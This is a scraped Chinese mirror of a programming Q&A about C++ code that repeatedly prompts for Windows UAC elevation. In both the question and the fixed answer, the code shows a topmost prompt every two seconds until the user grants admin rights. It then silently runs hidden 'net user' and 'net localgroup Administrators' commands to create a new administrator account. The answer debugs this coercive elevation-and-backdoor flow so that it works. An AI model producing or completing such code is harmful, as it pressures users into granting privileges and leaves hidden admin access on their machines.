具有管理员权限的 shellexecute 不会结束

Posted

技术标签:

【中文标题】具有管理员权限的 shellexecute 不会结束【英文标题】:shellexecute with administrator privileges doesn't end 【发布时间】:2019-11-24 21:32:15 【问题描述】:

我尝试每 2 秒请求一次管理员权限,但同步这两个进程时出现问题。 ShellExecuteExA 创建的进程不会结束,除非您手动终止它。主进程(主函数)以 ExitProcess 结束,现在是正在运行的 shellexecute 进程,它返回主进程并卡在 ask 函数中,当它不应该进入这个函数时再次请求提升权限。我正在使用 vs2019。

#include <iostream>
#include <Windows.h>
#include <WinUser.h>
#include <string>
#include <sstream>

using namespace std;

#pragma comment(lib, "User32.lib")
#pragma comment(lib, "Shell32.lib")
#pragma comment(lib, "Advapi32.lib")

bool CheckIfAdmin()

    BOOL RunAdmin = FALSE;
    HANDLE hToken = NULL;

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
    
        TOKEN_ELEVATION Elevation;
        DWORD cbSize = sizeof(TOKEN_ELEVATION);
        if (GetTokenInformation(hToken, TokenElevation,
                                &Elevation, sizeof(Elevation), &cbSize))
        
            RunAdmin = Elevation.TokenIsElevated;
        
    
    // Cleanup
    if (hToken)
    
        CloseHandle(hToken);
    
    return RunAdmin;


bool Elevate()

    char PathProg[MAX_PATH];
    if (GetModuleFileNameA(NULL, PathProg, MAX_PATH))
    
        SHELLEXECUTEINFOA SEIA = sizeof(SEIA);
        SEIA.lpVerb = "runas";
        SEIA.lpFile = PathProg;
        SEIA.hwnd = NULL;
        SEIA.nShow = SW_NORMAL;

        if (!ShellExecuteExA(&SEIA))
        
            DWORD dwErr = GetLastError();
            if (dwErr == ERROR_CANCELLED)
            
                // reject UAC
                return false;
            
            return false;
        
        // accept UAC
        return true;
    
    return false;

void execute_cmd(const char *m, INT opt)

    std::ostringstream os;
    os << "/c " << m;
    ShellExecuteA(NULL, "open", "cmd", os.str().c_str(), NULL, opt);


bool run_uac()

    if (!CheckIfAdmin())
    
        if (Elevate())
        
            return true;
        
    
    return false;


void ask()

    while (true)
    
        switch (MessageBox(0, L"Elevated privileges?", L"", MB_OKCANCEL | MB_ICONERROR | MB_TOPMOST))
        
        case IDOK:
            if (run_uac())
            
                // Now there are two processes running
                ExitProcess(0); // exit from primary process
            
        
        Sleep(2000);
    


int main()


    MessageBoxA(NULL, " main()", "!", MB_OK | MB_ICONWARNING);
    ask();

    // execute any action with privileges
    execute_cmd("net user newUser /add", SW_HIDE);
    execute_cmd("net localgroup Administrators newUser /add", SW_HIDE);


    return 0;

【问题讨论】:

【参考方案1】:

如果您正在提升运行,则调用 ask() 会使您陷入无休止的 MessageBox+Sleep 循环,因为当 CheckIfAdmin() 返回 true 时,run_uac() 返回 false。因此,将海拔检查移至 main() 本身,如果已经运行提升,则跳过海拔提示。

#include <Windows.h>
#include <iostream>
#include <string>
#include <sstream>
using namespace std;

#pragma comment(lib, "User32.lib")
#pragma comment(lib, "Shell32.lib")
#pragma comment(lib, "Advapi32.lib")

bool IsElevated()

    bool bElevated = false;
    HANDLE hToken = NULL;

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
    
        TOKEN_ELEVATION Elevation;
        DWORD cbSize = sizeof(TOKEN_ELEVATION);

        if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize))
        
            bElevated = Elevation.TokenIsElevated;
        

        // Cleanup
        CloseHandle(hToken);
    

    return bElevated;


bool Elevate()

    char PathProg[MAX_PATH];

    if (GetModuleFileNameA(NULL, PathProg, MAX_PATH))
    
        SHELLEXECUTEINFOA SEIA = sizeof(SEIA);
        SEIA.lpVerb = "runas";
        SEIA.lpFile = PathProg;
        SEIA.hwnd = NULL;
        SEIA.nShow = SW_NORMAL;

        return ShellExecuteExA(&SEIA);
    

    return false;


void execute_cmd(const char *m, int opt)

    std::ostringstream os;
    os << "/c " << m;
    ShellExecuteA(NULL, "open", "cmd", os.str().c_str(), NULL, opt);


void AskToElevate()

    while (true)
    
        if (MessageBox(0, L"Elevated privileges?", L"", MB_OKCANCEL | MB_ICONQUESTION | MB_TOPMOST) == IDOK)
        
            if (Elevate())
            
                // Now there are two processes running
                ExitProcess(0); // exit from primary process
            
        
        Sleep(2000);
    


int main()

    MessageBoxA(NULL, " main()", "!", MB_OK | MB_ICONWARNING);

    if (!IsElevated())
    
        AskToElevate();
    

    // execute any action with privileges
    execute_cmd("net user newUser /add", SW_HIDE);
    execute_cmd("net localgroup Administrators newUser /add", SW_HIDE);

    return 0;

【讨论】:

以上是关于具有管理员权限的 shellexecute 不会结束的主要内容,如果未能解决你的问题,请参考以下文章

在 Delphi 中开发具有管理员权限的应用程序

当以管理员权限运行CMD时,如何切换工作目录

使用具有管理员权限的 bat 文件启动程序,而无需询问 UAC

ShellExecute 不打开默认 Web 浏览器

如何将目录设置为具有持久组权限?

批处理文件记录